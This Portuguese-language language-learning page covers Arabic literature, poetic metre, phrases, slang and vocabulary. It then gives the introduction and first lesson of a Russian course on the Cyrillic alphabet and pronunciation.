Autores de Siria, Líbano e Egipto criaram trabalhos muito originais imitando ao clássico maqama. O mais proeminente deles foi al-Mawilhi, cujo livro, The Hadith of Issa ibn Hisham, criticava a sociedade egipcia do periodo de Muhammad Ali. Este trabalho constitui o primeiro passo no desenvolvimento da novela árabe moderna. Esta tendência foi fromentada por Georgy Zeidan, um escritor libanês cristiano que emigrou com sua familia ao Egito seguindo as revoltas de Damasco de 1860. A principios do século XX, Zidan publicou suas novelas históricas por entregas no jornal egipcio al-Halal. Estas novelas eram muito populares, em comparação com os trabalhos de al-Mawilhi, por sua clareza de linguagem, sua estrutura simplse e a vigorosa imaginação do autor. Outros dois autores importantes deste periodo foram Khalil Gibran e Mihail Naima, ambos incorporaram meditações filosóficas em seus trabalhos.

Porém, os críticos litararios não consideram o trabalho dos quatro autores mencionados, novelas reais, e sim que consideram que são indicações da forma que deve tomar a novela moderna. Muitos destes críticos afirmam que Zind, uma novela de Muhammad Hasnin Heikhal, é a primeira novela em árabe, enquanto que outros apontam que é Adraa Denshawi de Muhammad Taher Haki.

Poesía:

A métrica que se usava a codificou al-Khalil bin Ahmad no século VIII e mudou muito pouco desde então. A métrica (wazn) se baseia em longitude das sílabas, mais que no sotaque. Uma sílaba curta é uma consoannte seguida de uma vogal curta. Uma sílaba longa é uma consoannte mais uma vogal curta mais outra consoante ou uma vogal longa. A nunação ao final da palavra também faz a sílaba longa. Na poesía arábica cada verso (bayt; abyat) está dividido em duas metades (shatr; shatrayn).

A rima (qalifa) está determinada pela última consoante da palavra. Nas palavras que rimam a nunação se omite porque algumas vezes é a vogal final. Quando a vogal final é fatha ("a" curta), tem que usar se cada vez que tenha rima, mesmo assim kasra ("i" corta) e damma ("u" curta) podem intercambiar se. Se uma vogal longa precede a última sílaba da palavra que rima, também formará parte da rima. De maneira semelhante, e o ("i" longo) e waw ("u" longa) são também intercambiaveis e não é alif (que se usa como "a" longa). Dado que as vogais curtas se consideram longas quando estam ao final do verso, as vogais curtas nesta posição rimarão com seus correspondentes longos; é a pronunciação e não a escrita o que conta.

O autor árabe mais destacável do século XX é Naguib Mahfouz, um prolífico novelista egipcio, dramaturgo e guionista que ganhou o premio nobel de literatura en 1988. Outros escritores importantes são Taha Hussein, Tawfiq al-Hakim e M. Hussein Heikal todos os do Egito que foram durante muito tempo o centro intelectual do mundo árabe.

Vários autores modernos surgiram no Magreb (norte da África) mas a maioria deles escrivem em francês mais que em árabe.

Frases úteis em árabe

Frases úteis em árabe

Nas ruas

Por favor: min fadlak (m) iki (f)
Obrigado: shukran
De nada: afwan, ahlan wa sahlan
Desculpa: assif
Você fala inglês?: tatakalam Inglesi?
Não entendo: anna mush fahim
O que é isso?: shu hatha?

Me apresentando

Como você está?: kheif halak (m) iki (f)
Muito bem: tamam, bikhair
Me llamo...: ismee
Como você se chama?: ma ismiki (f)

De compras

Quanto custa isto?: bikam hatha? O que você quer? - (m): Matha tureed?, (f): Matha tureedeen?
Qual é o desconto?: kam il khasem?
Quero comprar...: Anna ureed ishtaraiti
É muito caro: ghalia katheer
É muito barato: hatha rakhees jedan

Viagens e direções

Onde você está...?: wain
O banco: IL masrif
O restaurante: IL mataam
O telefone: IL hatif
O aeroporto: IL matar
Correio: maktab IL bareed
Banheiro: IL hamam
O hospital: IL mustashfa
A policia: dar al shurta
A policia de tráfico: IL murur
Nossa!!!...: rouh
A esquerda: ala al yassar
A direita: ALA al yameen
Sigua sempre reto: alatool
A rua: al shar'e

Recursos para o árabe

Recursos para o árabe

Ofrecemos a você uma lista de recursos relacionados com o árabe que nos facilitam outras companias. Nós não somos provedores destes recursos só agimos como intermediarios. Clique no link e você será redirecionado a outra página web onde você poderá completar sua venda. Trabalhamos com companias de valiósa reputação que nos ofrecem os melhores recursos de aprendizagem de línguas do mercado.

Dicionàrios

Este oferece alguns dos melhores tradutores electrônicos, microcomputadosres lingüísticos e software de tradução para computadores de bolso e PDAs para o idioma árabe. É a melhor opção para cubrir as necessidades de comunicação de pessoas que viajam ao exterior. Alguns dos produtos traduzem vários pares de idiomas diferentes. Outros têm um sistema de reconhecimento de voz que permite dizer uma frase em um idioma e traduzir esta para a língua de destino. Mais tradutores de árabe>

Outros recursos

- Livros de frases

- Audio livros

- Livros de literatura

- Dicionários

- Jogos

- Videos e Dvds

- Música

- Software

- Todos os recursos para o árabe

Escolas de árabe

Escolas de árabe

Centro de árabe, Cairo
Organização egipcia oferece cursos de árabe para extranjeiros, cursos de alemão, inglês e francês. EO centro está oficialmente reconhecido pelo Subsecretario de Educação do Estado.

Language Door, Los Angeles, CA
Aulas de árabe para todos os niveis em Los Ángeles e tem escolas em outros lugares.

Arabic2000, On line courses
Estude árabe a distância. Se ofertam algumas aulas gratuitas, teste online e links a outros recursos.

Escreva a sua escola

Escolas de árabe

Escolas de árabe

Centro de árabe, Cairo
Organização egipcia oferece cursos de árabe para extranjeiros, cursos de alemão, inglês e francês. EO centro está oficialmente reconhecido pelo Subsecretario de Educação do Estado.

Language Door, Los Angeles, CA
Aulas de árabe para todos os niveis em Los Ángeles e tem escolas em outros lugares.

Arabic2000, On line courses
Estude árabe a distância. Se ofertam algumas aulas gratuitas, teste online e links a outros recursos.

Escreva a sua escola

Língua de sinais árabe

Língua de sinais árabe

A língua de sinais no mundo árabe foi reconhecida e documentada recentemente. Foram feitos muitos esforços para verificar a linguagem de sinais que se usa em cada país, incluindo Jordania, Egipto, Libia e os Estados do Golfo, e tratar de estandarizar e extender entre toda a comunidade de surdos e pessoas interessadas. Estes esforços foram produzidos muitas línguagens de sinais, quasi tantos como países de fala árabe, mas com o mesmo alfabeto.

Lengua de signos árabe

Giria Árabe

Giria Árabe

A giria árabe descende do árabe clássico. Se diferencia do árabe clássic no que segue as regras da declinação e no que tem sons que não existem na língua estándar.

Nome e adjetivos

geher: bonito, belo
Kosha: velho
Semoaa: joven
obreeza: policia
anasi (femenino): mulher, senhora
keefic (saludo):oi (egipto)
yel-la: Corre!

Gíria iraquí

Shlonkom?: Como estam todos?
zen/zena [M/F]:bem
Shako mako?: Que tem de novo?
Kulshi mako: nada novo..

Frases

Shonak?/Shonik? [M/F]: Como você está?
Kafe al haal ?: Como você está?
Alhamdo lillah: Graças a Deus
Safiya Dafiya: Tudo bem

Giria Árabe

Giria Árabe

A giria árabe descende do árabe clássico. Se diferencia do árabe clássic no que segue as regras da declinação e no que tem sons que não existem na língua estándar.

Nome e adjetivos

geher: bonito, belo
Kosha: velho
Semoaa: joven
obreeza: policia
anasi (femenino): mulher, senhora
keefic (saludo):oi (egipto)
yel-la: Corre!

Gíria iraquí

Shlonkom?: Como estam todos?
zen/zena [M/F]:bem
Shako mako?: Que tem de novo?
Kulshi mako: nada novo..

Frases

Shonak?/Shonik? [M/F]: Como você está?
Kafe al haal ?: Como você está?
Alhamdo lillah: Graças a Deus
Safiya Dafiya: Tudo bem

Ensinando árabe

Ensinando árabe

Associações de professores de árabe

AATA - Asociação Americana de Professores de Árabe
O objetivo da Associação Americana de Professores de Árabe (AATA) é facilitar a comunicação e cooperação entre professores de árabe e promover o estudo, a crítica, a investigação e a instrucção no campo da pedagogía da língua árabe, a lingüística árabe e a literatura árabe.

Associação de Professores de Árabe Victoria.
Este link é parte de um lote. Proporcionado pela Unidade de Estudo, Aprendizagem e Inovação no Ensino. Departamento de Victoria de Educação, Trabalho e Cursos.

Outros recursos

Islamiced Foundation.com
Analiza a importância da língua árabe, com comentários sobre métodos e propostas de planos de estudo.

A Universidade Americana no Cairo
Nesta página você encontrará um curso de "Ensinar árabe como língua extranjeira". Contém informação muito completa sobre outros cursos oferecidos pela organização.

Serviços profissionais de tradução

Serviços profissionais de tradução
www.cursoarabe.com são sócios de Translation Town, especialistas em tradução profissional para Traduções com a garantia adicional de uma equipe independente e arbitraria. Busque Tradutores, peça orçamentos grátis e sem compromisso.

Serviços de tradução

Buscador de tradutores: escolha o tradutor que melhor se adapte a suas necessidades garantizando assim um resultado de qualidade com o preço mais baixo. Facilitamos a você o perfil e todos os detalhes de cada candidato para que decida a quem pedir orçamentos.
Orçamento rápido de tradução Crie seu projecto e envie a nossa página web desde qualquer traductor de nossa base de dados que poderá enviar a você orçamentos e tempo real.
Mercado de tradutores REGISTRO GRATUITO Não é necessário registrar se para buscar em nossa base de dados de tradutores, mas é imprescindivel para pedir orçamentos ou ter acesso a sua página personalizada. Registrar se é grátis,para que esperar?

Recursos online para tradutores

Ferramentas de texto
Software de tradução gratuito
Dicionários online
Glossários
* Computadores e internet
* Medicina
* Economia e Finanças
* Cultura
* Ciência
* E muito mais...
Associações de tradutores
¿Você é tradutor? Acesse a nossa base de dados de traduções e envia seus orçamentos a nossos clientes com la garantía de ser um sistema arbitrário



Palavras em árabe

Palavras em árabe

Palavras básicas

Sim: na,am, aiwa
Não: la
Oi: al salaam a' Laykum/marhaba
Oi: (resposta) WA alaykum al salaam
Adeus: ma salaama
Por quê?: lain?
Quem?: meen?
Quando?: mata?
Como?: kaif?

Dias da semana

Sábado: al sabat
Domingo: al ahad
Segunda feira: al ithnain
Terça feira: al thalatha
Quarta feira: al arba
Quinta feira: al khamees
Sexta feira: al juma
Hoje: al eoum
Ontem: ams
Amanhã: bukra, ghadan
Depois de amanhã: baad bukra
De manhã: fe al sabah
De tarde: baad al dhuar
Esta noite: fel al massa

Comendo

Pão: Khubz
Café da manhã: Iftar
Janta: Ashaa
Almoço: Gadaa
Café: Qahwa
Peixe: Samak
Leite: Haleeb
Cebola: Basal
Laranja: Burdukali
Salada: Salata

Cores

Preto: Aswad
Azul: Azrak
Marrom: Jauzi, Buni
Verde: Akhdar
Cinza: Ramadi
Roxo: Urjuwani, Banafsaji (violet)
Vermelho: Ahmar

Familia

Irmão: Akh
Irmã (de): Bint
Pai: Ab
Avô: Jadd
Avó: Jaddah
Mãe: Umm
Irmã: Akht
Filho (de): Ibn

segunda-feira, 13 de junho de 2011

Curso de Russo do Básico ao Avançado

Apresenta:

Винисиус де Оливиера Ежидио Revisor e Editor-chefe

“...por que você quer tentar novamente? Isso já aconteceu uma vez e você sabe qual foi o resultado. Nós não nos entendemos, parece que estamos falando russo um com o outro. Já vi esse filme e não gostei do final...”

“...eu também conheço este filme, mas talvez nós não tenhamos gostado do final porque ainda não entendíamos russo

(...) Eu preciso tentar mais uma vez, nós só precisamos tentar...”

Segue abaixo a lista das pessoas que contribuíram de alguma maneira com nosso Curso de

Russo, seja enviando dicas, sugestões, correções ou apoiando de qualquer outra maneira nosso trabalho. Em nome da Equipe Rússi@Net, nossos mais sinceros agradecimentos:

· Lição 01: Aritanã Lima (Goiânia / GO), Vladimir Udiloff (São Paulo / SP),

Wanner Scavone (Campinas / SP), Yuliya Koldayeva (São José dos Campos / SP).

• Lição 02: Vladimir Udiloff (São Paulo / SP),

Yuliya Koldayeva (São José dos Campos / SP). • Lição 03: João Xandala (Lisboa / Portugal), Vladimir Udiloff (São Paulo / SP).

INTRODUÇÃOi
NOÇÕES PRELIMINARESiv
1. APRENDENDO A LER RUSSO

SUMÁRIO Alfabeto e Pronúncia; Transliteração; Placas de Rua 1

2. ESCRITA A MÃO EM RUSSO; MAIS SOBRE A PRONÚNCIA13
3. FRASES DO DIA-A-DIA; GRAMÁTICA BÁSICA

Dando Nome as Coisas; Gramática Básica; Gêneros 27

4. EXECUTANDO AÇÕES – VERBOS; PRONOMES PESSOAIS

Presente; Conjugações; Entonação nas Palavras; Substantivos e seus Casos; Conversação no Metrô

5. FAZENDO PERGUNTAS; O CASO PREPOSICIONAL

Substantivos Não-Inflexivos; Diálogos 52

REVISÃO 1

Exercícios Revisando as Lições 01-05 63

6. POSSESSÃO; INDO A LUGARES; O CASO ACUSATIVO

Nomes Pessoais Russos; Diálogos 65

7. DESCREVENDO COISAS: ADJETIVOS

Adjetivos Masculinos, Femininos e Neutros; “Que tipo de...?”; “Isso” e “Aquilo”; Adjetivos no Caso Preposicional e no Caso Acusativo; Advérbios

8. PLURAIS; REGRAS ORTOGRÁFICAS; FAZENDO COMPRAS

Regra Ortográfica 1; “Tem...?”, “Existe...?”; Regra Ortográfica 2; Países da Europa 93

9. NÚMEROS; O CASO GENITIVO

1-5.0; Genitivo Singular e Plural; Quantidade; Rublos e Dólares; Comprando Coisas; Mercado de Rua

10. “TER”; MAIS SOBRE O CASO GENITIVO

Pronomes Genitivos; “Não há”; Preposições que Levam o Caso Genitivo; o Caso Genitivo dos Adjetivos; “Se”; Diálogos

REVISÃO 2

Exercícios Revisando as Lições 06-10 143

VOCABULÁRIO SONORO .................................................... v

Curso de Russo: Do Básico ao Avançado Introdução Página: i

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

O Curso de Russo: Do Básico ao Avançado é uma gramática de russo para adultos que pretendem ser capazes de ler qualquer obra ou texto na língua russa. Ele foi desenvolvido inicialmente com o objetivo de ser um curso para aquelas pessoas que querem aprender sozinhas sem a ajuda de um professor. Isso quer dizer que existem muitas explicações, uma preocupação em transmitir as informações da forma mais completa possível, respostas para todos os exercícios e traduções para o português de todos os textos em russo. Desta forma, ele também pode ser usado como referência para estudantes que estejam fazendo cursos de russo de forma mais comunicativa, mas pretendem conhecer mais detalhes da gramática. Nele você irá encontrar as estruturas básicas de língua, um vocabulário suficientemente grande com mais de 1500 palavras, uma grande variedade de exercícios e um bom número de textos (incluindo conversações) com o objetivo tanto de ilustrar o uso da língua russa e também dar algumas informações sobre a vida na Rússia.

O CR: Do Básico ao Avançado os aspectos funcionais e comunicativos do aprendizado da língua, em sintonia com a constante evolução do aprendizado de línguas. Exercícios envolvendo traduções do português para o russo incluem apenas coisas que o estudante pode realmente precisar dizer (ou escrever) em russo. Mais a frente, as lições tentam distinguir quais tópicos são essenciais para o aprendizado básico do russo e os menos importantes (marcados como EXTRA), que podem ser seguramente ignorados para aqueles que têm pressa em aprender.

A gramática é apresentada em uma ordem que, de acordo com as experiências do autor, funciona melhor no aprendizado do estudante. O objetivo principal é que toda a gramática básica de russo deve ser estudada, mas, mais importante do que isso, é que ela se torne útil para o estudante nos objetivos para ele busca ao aprender a língua russa. Os exemplos e exercícios se concentram em um nível de complexidade da língua que pode ser alcançada por qualquer estudante sério, que queira se fazer entender e falar corretamente em russo, mas não necessariamente se tornando um mestre no idioma russo ou tentar se passar por um russo. Os textos em russo, que foram todos escritos e/ou checados por professores nascidos na Rússia, são às vezes mais complicados do que o russo que o estudante será capaz de produzir, mas a habilidade de uma pessoa entender uma língua estrangeira é sempre maior que a habilidade de alguém saber falá-la ou escrevê-la.

Curso de Russo: Do Básico ao Avançado Introdução Página: i

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Cada lição começa com exemplos de expressões que o estudante certamente irá precisar enquanto estiver estudando a língua russa, contendo pontos gramaticais que serão necessários durante as lições. Se você, o estudante, iniciar cada estudo tentando memorizar estas expressões, você terá uma boa base funcional para começar a se comunicar. As explicações te darão uma base para entender como a gramática funciona, com vários exemplos e textos.

A base teórica deste curso como uma ajuda no aprendizado dá noções da estrutura base da gramática tradicional (ex.: “presente”, “caso genitivo dos pronomes”) e a gramática comunicativa (ex.: “como conversar em russo”, “como reclamar de alguma coisa”) que devem ser combinadas ao máximo durante o curso. Desta forma, a utilidade funcional de cada estrutura é feita com o objetivo principal do aprendizado, e os exemplos que são pedidos ao estudante que memorize são realmente importantes para que o aprendizado não seja prejudicado.

Exercícios: Cada lição contém um ou dois exercícios de gramática para que você possa checar se você entendeu os pontos principais; algumas sentenças que devem ser traduzidas para o russo se concentram em coisas que você pode precisar dizer ou escrever em russo – portanto estas sentenças geralmente são práticas e curtas; e um exercício de compreensão que pede que você encontre uma informação específica no texto. Para aqueles que acham que os exercícios de tradução do Russo-Português úteis, todos os textos em russo nas lições estão traduzidos no fim de cada lição. Existem também exercícios de revisão a cada cinco lições.

Vocabulário: A gramática russa é interessante e muito fácil de ser seguida. A tarefa que irá consumir mais tempo de você será o vocabulário. No início, você vai sentir que está esquecendo as palavras de maneira tão rápida quanto às aprendeu – mas não desista, e o vocabulário não será mais problema depois de um tempo. O número de palavras novas é pequeno nas primeiras lições (350 nas dez primeiras lições), mas este número aumentará com o tempo, te dando um vocabulário e aproximadamente 1500 palavras no fim da Lição 30.

Notas Sobre o Russo Moderno: Ao contrário de todas as mudanças que a Rússia passou neste século, a essência da língua russa se tornou quase inalterada. A reforma ortográfica de 1917-18 cujo efeito principal foi a abolição de algumas letras redundantes (a mais notável delas foi a substituição do ђ pelo е), é provavelmente um dos maiores exemplos da interferência do governo na cultura russa – e é importante notar que os planos de uma reforma ortográfica foram propostas antes da Revolução Socialista de 1917. Durante o Comunismo, muitos termos novos foram adicionados ao vocabulário, principalmente termos políticos e industriais, mas não haviam

Curso de Russo: Do Básico ao Avançado Introdução Página: i

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br tentativas de alterar a gramática da língua russa. O padrão de linguagem usada hoje é o padrão que era usado pelas classes sociais bem educadas de Moscou, não a dos trabalhadores ou camponeses. Realmente, apesar dos contrastes econômicos e as falhas no sistema sociopolítico, o Comunismo Russo obteve um grande sucesso lingüístico. Eles conseguiram manter uma continuidade lingüística com o passado enquanto alfabetizavam a população, tornando o russo a sétima língua mais falada no mundo (empatado com o português). Esta importante língua e toda sua essência, que foi usada de forma tão memorável por Tolstoi e Tchekhov mais de cem anos atrás resiste até hoje, e irá resistir como a chave de uma cultura rica, uma literatura fascinante e uma rede de comunicação com mais de 150 milhões de pessoas que têm o russo como primeiro idioma. Nesta era pós Guerra Fria, nós precisamos reconhecer que o russo é parte importante da herança cultural européia e também a primeira língua e a mais européia de todas elas.

VdOE

Campo Grande, MS, Brasil 2004-2005

Curso de Russo: Do Básico ao Avançado Noções Preliminares Página: iv

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Para que qualquer aluno deste curso obtenha sucesso no aprendizado da língua russa, ele deve ter algumas noções preliminares de alguns termos e métodos usados para a confecção das 30 lições e anexos que compõem este curso. Todas estas noções estão descritas abaixo:

Entonação: para quem pretende fazer este curso apenas para poder ler obras escritas em russo talvez à entonação das palavras durante a pronúncia não seja tão importante, mas para o estudante que pretende aprender a língua russa com plenitude, tanto na forma oral quanto na forma escrita, a pronúncia correta das sílabas é essencial para que o aluno se faça entender. No início do aprendizado de russo é muito difícil para qualquer estudante saber identificar qual a sílaba tônica (sílaba que deve ser pronunciada com mais força) de cada palavra, portanto, para que o estudante de nosso curso saiba em qual sílaba ele deve mudar a entonação da voz, todas as sílabas tônicas nas palavras russas estão pintadas de vermelho. Ex.: na palavra зима (inverno) a sílaba que deve ser pronunciada com mais força é o ма.

Transcrição: é a representação sonora de letras ou sílabas em russo. Todas as transcrições estão entre [colchetes] e foram feitas de maneira que mais se aproximassem com os sons das letras usadas no Português do Brasil. Novamente usando a palavra зима como exemplo, a transcrição para o português seria [zi-má]. Confira os 4 grupos de letras russas na Lição 01 do curso e suas respectivas pronúncias adotadas.

Transliteração: motivo de muita confusão com o termo anterior, transcrição, a transliteração na verdade é a representação gramatical das letras russas. Simplificando, é um método de escrever palavras russas em cirílico usando caracteres latinos. Por exemplo, o nome próprio Таня poderia ser transliterado para Tania. As regras de transliteração adotadas neste curso são as dos idiomas Russo/Inglês. Mais detalhes na seção 1.5 da Lição 01.

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 1

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

1 РУССКАЯ АЗБУКА APRENDENDO A LER RUSSO

Antes de você terminar esta lição você será capaz de pronunciar o cabeçalho em russo acima, que significa “O Alfabeto Russo”.

1.1 O Alfabeto Cirílico Russo

O cirílico russo é baseado num alfabeto inventado por volta do ano 836 DC por um monge macedônico, que falava uma língua eslava do sul, muito parecido com o russo atual. O inventor, que também falava grego foi mais tarde canonizado como Santo Cirílo, daí o nome cirílico. Esse alfabeto foi originalmente baseado no grego, por isso algumas letras são familiares, por exemplo, o caractere п, o p em russo, é a versão maiúscula da letra grega pi (p), usada na matemática.

O alfabeto é o primeiro obstáculo para aqueles que querem aprender russo, mas não é o pior deles. Depois que você souber o som das trinta e três letras, você poderá ler as palavras em russo sem grandes dificuldades, ao contrário do inglês, por exemplo. No inglês e até mesmo no português algumas letras devem ser pronunciadas de forma diferente de acordo com a sua posição na palavra ou o tempo verbal, mas em russo as letras são pronunciadas exatamente da mesma maneira que estão escritas, a pronúncia nunca muda. Nesta lição você aprenderá o essencial para ler e pronunciar palavras em russo. Na Lição 02 você encontra detalhes sobre as pequenas diferenças entre a ortografia russa e a pronúncia.

1.2 Aprendendo o Alfabeto Russo

Para que as trinta e três letras se tornem fáceis de aprender, nós iremos dividi-las em quatro grupos:

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 2

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

(a) O primeiro grupo contém cinco letras que são fáceis de aprender:

Maiúscula Minúscula Pronúncia А а [a] como em faca К к [k] como em karatê М м [m] como em macaco О о [o] como em foca – porém note que quando a sílaba1 não é tônica (sílaba que deve ser pronunciada com mais força que as outras na palavra) a pronúncia do о é parecida com a pronúncia do [a]. Т т [t] como em tatu

Agora você pode ler palavras em russo como:

тот [tot] aquele кот [kot] gato так [tak] assim, então, tão там [tam] ali, lá кто-то [któ-ta] alguém (o segundo о é pronunciado como [a] porque ele não faz parte da sílaba tônica)

(b) O segundo grupo consiste em sete letras que se parecem com letras latinas, mas têm sons diferentes:

Maiúscula Minúscula Pronúncia В в [v] como em vestido Е е [ye] como em hiena Н н [n] como em nunca Р р [r] como em carimbo (equivalente à regra gramatical em português da pronúncia da letra r no meio das palavras)

1 Sílabas (uma sílaba é uma vogal precedida por uma consoante) são separadas por hífens (-) e entre os [colchetes] ficam as transcrições para o português.

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 3

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

С с [s] como em sapo У у [u] como em buzina Х х [h] como em rato (equivalente à regra gramatical em português da pronúncia da letra r no início das palavras ou r no meio delas)

Palavras para praticar:

нет [nyet] não Москва [mask-vá] Moscou метро [mye-trô] metrô он [on] ele она [a-ná] ela сестра [sye-strá] irmã ресторан [rye-sta-rán] restaurante

Agora tente estas palavras, cobrindo a pronúncia à direita com um pedaço de papel:

Tradução Pronúncia сахар açúcar [sá-har] вам a você [vam] Вера Vera [vyé-ra] утро manhã [ú-tra] Нева Neva [nye-vá] rio em São Petersburgo касса caixa [ká-ssa] local onde geralmente é feito o pagamento dos produtos nas lojas ou na compra de ingressos карта mapa [kár-ta] марка selo [már-ka]

É recomendado que você reveja esta lista das palavras até aqui duas ou mais vezes, até achar que se lembra do significado e pronúncia de cada uma delas, já que você irá precisar de todas estas palavras úteis futuramente.

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 4

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

(c) O terceiro grupo contém treze letras que não parecem muito familiares, mas possuem sons conhecidos:

Maiúscula Minúscula Pronúncia Б б [b] como em bola Г г [g] como em gato Д д [d] como em dinheiro Ё ё [yo] como em iô-iô (Nota: os russos normalmente omitem estes dois pontos, portanto em livros, jornais, etc. esta letra se parecerá com o е [ye], entretanto estes dois pontos são impressos em dicionários e livros para estrangeiros)

З з [z] como em zoológico И и [i] como em bife Й й [y] como em vinho; versão um pouco nasalada do и [i]; й forma ditongos, então ой se pronuncia como em Tróia, ай se pronuncia como em sai, уй se pronuncia como em Luis

Л л [l] como em lagarta П п [p] como em pessoas Ф ф [f] como em família Э э [e] como em péssimo Ю ю [yu] como em Iugoslávia Я я [ya] como em iate

Exemplos:

мир [mir] paz, mundo да [da] sim футбол [fut-ból] futebol спасибо [spa-sí-ba] obrigado, obrigada до свидания [da svi-da-ni-ya] adeus, até logo (до não é sílaba tônica, então é pronunciado como [da])

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 5

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Югославия [yu-ga-slá-vi-ya] Iugoslávia Александр [a-lye-ksándr] Alexandre спутник [spút-nik] satélite, companheiro Владивосток [vla-di-va-stók] Vladivostok Россия [ra-ssí-ya] Rússia Толстой [tal-stóy] Tolstoi (autor de Guerra e Paz) зима [zi-má] inverno Белфаст [Byel-fást] Belfast (capital da Irlanda do Norte) я знаю [ya zná-yu] eu sei Аэрофлот [a-e-ra-flót] Aeroflot (companhia aérea russa) ликëр [li-kyór] licor (a letra ë sempre faz parte da sílaba tônica em qualquer palavra russa) самолëт [sa-ma-lyót] avião бойкот [bay-kót] boicote парк [park] parque киоск [ki-ósk] quiosque Байкал [bay-kál] Baikal (lago na Sibéria) телефон [tye-lye-fón] telefone Правда [práv-da] verdade (famoso jornal russo)

(d) O último grupo de palavras contém as oito letras mais difíceis de aprender:

Maiúscula Minúscula Pronúncia Ж ж [j] como em janela Ц ц [ts] como na expressão “puts grila” Ч ч [tch] como em tchau Ш ш [sh] como em chave Щ щ [shsh] mesma pronúncia de ш [sh], mas com uma pequena pausa entre cada [sh]

Ъ ъ “pronúncia forte” – esta letra não possui nenhum som, mas é representada por uma pequena pausa

Ы ы [í] como em clíque, mas com a ponta língua encostando no céu da boca

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 6

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Ь ь “pronúncia suave” – [ý] como em história, mas deve ser pronunciado simultaneamente com a letra que vem antes dele, dessa forma нь soa [ný] como se fosse uma letra só (ex.: ninhada). Não tente separar o [ý] da letra anterior. Para lembrá-lo de pronunciar o ь, principalmente no fim das palavras, será colocado um pequeno ý. Um exemplo de palavra que usa esta letra é соль, “sal” em russo [solý]

Exemplos:

журнал [jur-nál] revista царевич [tsa-ryé-vitch] filho do czar гостиница [ga-stí-ni-tsa] hotel чай [tcháy] chá дружба [drúj-ba] amizade щи [shshi] sopa de repolho борщ [borshsh] sopa de beterraba шампанское [sham-pán-ska-ye] champanhe, vinho espumante Шотландия [shat-lán-di-ya] Escócia Шостакович [sha-sta-kó-vitch] Shostakovich (compositor russo) объект [ab-yékt] objeto (a “pronúncia forte” simplesmente separa o [b] do [ye]) сын [sín] filho рестораны [rye-sta-rá-ni] restaurantes Крым [krím] Criméia кофе [kó-fye] café большой [balý-shôy] grande (lý é o [l] + [ý] pronunciados simultaneamente, como no nome Lyuba)

Кремль [kryemlý] Kremlin царь [tsarý] czar (рь = [r] + [ý] pronunciados juntos, é um dos sons mais difíceis de se extrair em russo)

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 7

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

Se você aprender a pronúncia de cada uma das trinta e três letras apresentadas acima, você se fará entender quando ler qualquer palavra russa. Leia-as sílaba por sílaba como dado nas transcrições acima: [Vla-di-va-stók]. Uma sílaba é uma vogal precedida por uma consoante; se uma palavra contém um grande número de consoantes ou um grupo de consoantes agrupadas de forma complicada, tente dividir as consoantes de maneira que algumas fiquem com a vogal que a precede e outras fiquem com a vogal seguinte. Ex.: Москва “Moscou” pode ser lido como [Maskvá]. Enquanto você não estiver totalmente familiarizado com o cirílico, tente pronunciar as palavras de forma pausada.

Agora tente este exercício prático. Cubra a transcrição (e a tradução) nas colunas da direita.

Pronúncia Tradução

Владимир [Vla-dí-mir] Vladimir туалет [tu-a-lyét] toalete метро [mye-tró] metrô троллейбус [tra-llyéy-bus] ônibus-elétrico календарь [ka-lyen-dár] calendário перестройка [pye-rye-stróy-ka] “perestroika”, reconstrução гласность [glás-nastý] “glasnost”, abertura Украина [U-kra-í-na] Ucrânia Сибирь [si-bírý] Sibéria Волга [vól-ga] Volga (rio localizado na Rússia) Манчестер [mán-tchye-styer] Manchester Бирмингем [bír-min-gyem] Birmingham Ливерпуль [lí-vyer-pulý] Liverpool Абердин [a-byer-dín] Aberdeen Портсмут [pórt-smut] Portsmouth Филадельфия [fi-la-dyélý-fi-ya] Filadélfia Майами [ma-yá-mi] Miami Голуэй [gó-lu-ey] Galway Дублин [dúb-lin] Dublin Мельбурн [myélý-burn] Melbourne Перт [pyert] Perth

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 8

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br дача [dá-tcha] casa de campo хорошо [hа-ra-shó] bom, bem, OK доброе утра [dó-bra-ye ú-tra] bom dia

1.3 O Alfabeto Russo na Ordem do Dicionário

Aqui está o alfabeto russo (cirílico) na sua ordem normal no dicionário. Cubra a transcrição à direita e cheque a sua pronúncia das trinta e três letras novamente. Para te ajudar a aprender a ordem das letras, note que ela é similar com o alfabeto latino até a letra nº 21 (у), então você deve se concentrar nas letras a partir do ф. As vogais russas (10 no total) estão destacadas de cinza.

1 А а [a] 12 К к [k] 23 Х х [h] 2 Б б [b] 13 Л л [l] 24 Ц ц [ts] 3 В в [v] 14 М м [m] 25 Ч ч [tch] 4 Г г [g] 15 Н н [n] 26 Ш ш [sh] 5 Д д [d] 16 О о [o] 27 Щ щ [shsh] 6 Е е [ye] 17 П п [p] 28 Ъ ъ - 7 Ё ë [yo] 18 Р р [r] 29 Ы ы [í] 8 Ж ж [j] 19 С с [s] 30 Ь ь [ý] 9 З з [z] 20 Т т [t] 31 Э э [e] 10 И и [i] 21 У у [u] 32 Ю ю [yu] 1 Й й [y] 2 Ф ф [f] 3 Я я [ya]

1.4 Escrita Cursiva em Russo

NOTA: Na escrita cursiva em russo, г é г, д é д, и é и, й é й, л é л, п é п e т é т. Você verá na Lição 02 que a maioria lembra a forma dos caracteres escritos à mão que nós já conhecemos.

Curso de Russo: Do Básico ao Avançado Lição 01 Página: 9

Curso produzido e oferecido por: Rússi@Net - w.russianet.com.br

EXERCÍCIO 1/1

Leia as palavras a seguir. Tente pronunciá-las e traduzi-las. A pronúncia e a tradução estão na seção de respostas no final desta lição.

1. Борис
2. да
3. нет
4. большой
5. спасибо
